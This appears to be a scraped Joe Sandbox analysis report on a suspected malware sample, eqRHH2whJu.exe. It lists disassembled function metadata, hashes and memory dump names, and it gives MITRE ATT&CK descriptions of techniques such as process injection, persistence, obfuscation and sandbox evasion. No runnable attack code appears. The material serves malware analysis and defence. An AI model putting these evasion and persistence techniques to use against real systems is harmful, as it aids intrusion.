Instruction ID: 7c8c00d7436ed1db2cdd160ad49ec33fd6ed0c15a3941187067d7fcbb2859b7a
Opcode Fuzzy Hash: ffff326d93c37644678509e76b47cf3af848b28a3591d4dfd905dd3861ea6b3a
Instruction Fuzzy Hash: FD412BB27092055BDB14EEA9AD416BAB3D8EB85331F04067EFD18D7381EA52ED1483D1

Function 00986550 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 009865EA

Strings

Internal error clearing splay node = %d, xrefs: 009865A8
Internal error removing splay node = %d, xrefs: 009866C6

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Internal error clearing splay node = %d$Internal error removing splay node = %d
API String ID: 1927824332-979561979
Opcode ID: 4a245aec7b9eb6b2137e2b40fa980730ec7a1fa7b4f35ab5f644bb4c8c979048
Instruction ID: ce45ff933f6f555894b3d861fbdd9cf7c2da9004c3fbdb965648d30b223422ed
Opcode Fuzzy Hash: 4a245aec7b9eb6b2137e2b40fa980730ec7a1fa7b4f35ab5f644bb4c8c979048
Instruction Fuzzy Hash: D251F772A002058BDB14EF18DD4176ABBE8EBD5314F04863DF84D8F795EA31E904CB91

Function 009AF2E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 009BC100: GetTickCount64.KERNEL32 ref: 009BC123
Part of subcall function 009BC100: GetTickCount64.KERNEL32 ref: 009BC17D

GetTickCount64.KERNEL32 ref: 009AF39C

Strings

server response timeout, xrefs: 009AF414
select/poll error, xrefs: 009AF3DB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: 9a31fdf5a93c2381bf2945c361ca75ef2119323f5bc5bf0dcf9649b4c2c35d3d
Instruction ID: 53c5c95f401ace3a4052bd679813f245b4db0a56efb84d5618d0eefb2e9cc01b
Opcode Fuzzy Hash: 9a31fdf5a93c2381bf2945c361ca75ef2119323f5bc5bf0dcf9649b4c2c35d3d
Instruction Fuzzy Hash: 374118713042068BDF289AA8EC6163B73DDDB86355F14467DE90ACB281FE26ED0583D1

Function 009A2D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

server response timeout, xrefs: 009A2D53
select/poll error, xrefs: 009A2E28

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: 3004c37acdc9ed9b968477925c4412770e44c69015ad6114273ea88b5e380d55
Instruction ID: e2e6aa9a24f8ca5a806a089c1872047ef2a7db0e861d2aa223aba42426a17989
Opcode Fuzzy Hash: 3004c37acdc9ed9b968477925c4412770e44c69015ad6114273ea88b5e380d55
Instruction Fuzzy Hash: 813128327006069BEB14AB2CDC52B7A329CAB86314F14063DED1ADB6C2FB25ED5583D1

Function 009AC340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 009AC361

Part of subcall function 0097CFC0: GetTickCount64.KERNEL32 ref: 0097CFC1

Part of subcall function 009ABF20: GetTickCount64.KERNEL32 ref: 009ABF39

Strings

Preparing for accepting server on data port, xrefs: 009AC34E
Accept timeout occurred while waiting server connect, xrefs: 009AC383

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Accept timeout occurred while waiting server connect$Preparing for accepting server on data port
API String ID: 1927824332-3364268075
Opcode ID: db4affad172428e31b09c67db06c7d9ff0a3c8b57fd9d21a5fefdcc6f56df0d6
Instruction ID: 2d7688b02afe75ac8aae70a74769bf0d8b45fe68ab594f1ace9ddf208100eefb
Opcode Fuzzy Hash: db4affad172428e31b09c67db06c7d9ff0a3c8b57fd9d21a5fefdcc6f56df0d6
Instruction Fuzzy Hash: 6911E5A270521856DB21727D6C8277E77C9DFD3356F08457AE90DCA382FE619C0243E2

Function 009E8100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\mem_dbg.c, xrefs: 009E8155
..\..\openssl\openssl\crypto\mem_dbg.c, xrefs: 009E819B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\mem_dbg.c$..\..\openssl\openssl\crypto\mem_dbg.c
API String ID: 0-703416693
Opcode ID: e9f861a6798e8bc67a573400ad225a7bd072d8b0fa9116dbc710899d8ee8b906
Instruction ID: 3a885bcde03e4a31b601b3568ef5f565436ec53d85aa534027fea43692b485cd
Opcode Fuzzy Hash: e9f861a6798e8bc67a573400ad225a7bd072d8b0fa9116dbc710899d8ee8b906
Instruction Fuzzy Hash: 4C11E3307483826BE316DB9AEC82BE773A4AB44B44F888858F51C971D1EE788C42C781

Function 00A64250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 00A6425A

Strings

Pageant, xrefs: 00A64250
Pageant, xrefs: 00A64255

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: FindWindow
String ID: Pageant$Pageant
API String ID: 134000473-662308581
Opcode ID: 7de5f3c97aed66e52169a5b27eb1349ee5f5a6036341df4a699a773665d5df1a
Instruction ID: b8cc215c7ebc406fd7b48059dacb1d84a2fd2ecdbed5c7a06e2fb2d96ceea40b
Opcode Fuzzy Hash: 7de5f3c97aed66e52169a5b27eb1349ee5f5a6036341df4a699a773665d5df1a
Instruction Fuzzy Hash: 8CD01C702003008FCB00DF388A0CF893AE0BB5AB28F8582E8F0588B2F0E7B088009B44

Function 00A7D537 Relevance: 5.1, APIs: 4, Instructions: 129COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A7D5CC
GetLastError.KERNEL32 ref: 00A7D5DA
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000000,00000000,?), ref: 00A7D62D
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A7D668

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 61d7f9aba23478b91547f5bb516bafd5267f2c32a34bda0d775351f011528b69
Instruction ID: 656fc84b70a727f9557826b83c044c3f8be31f7dd5df615eda8dd6694ce347c6
Opcode Fuzzy Hash: 61d7f9aba23478b91547f5bb516bafd5267f2c32a34bda0d775351f011528b69
Instruction Fuzzy Hash: 7841C07061024AAFCB219F68CC54BAB7BB9FF45364F21C169F85DA71A1EB308D01CB61

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eqRHH2whJu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

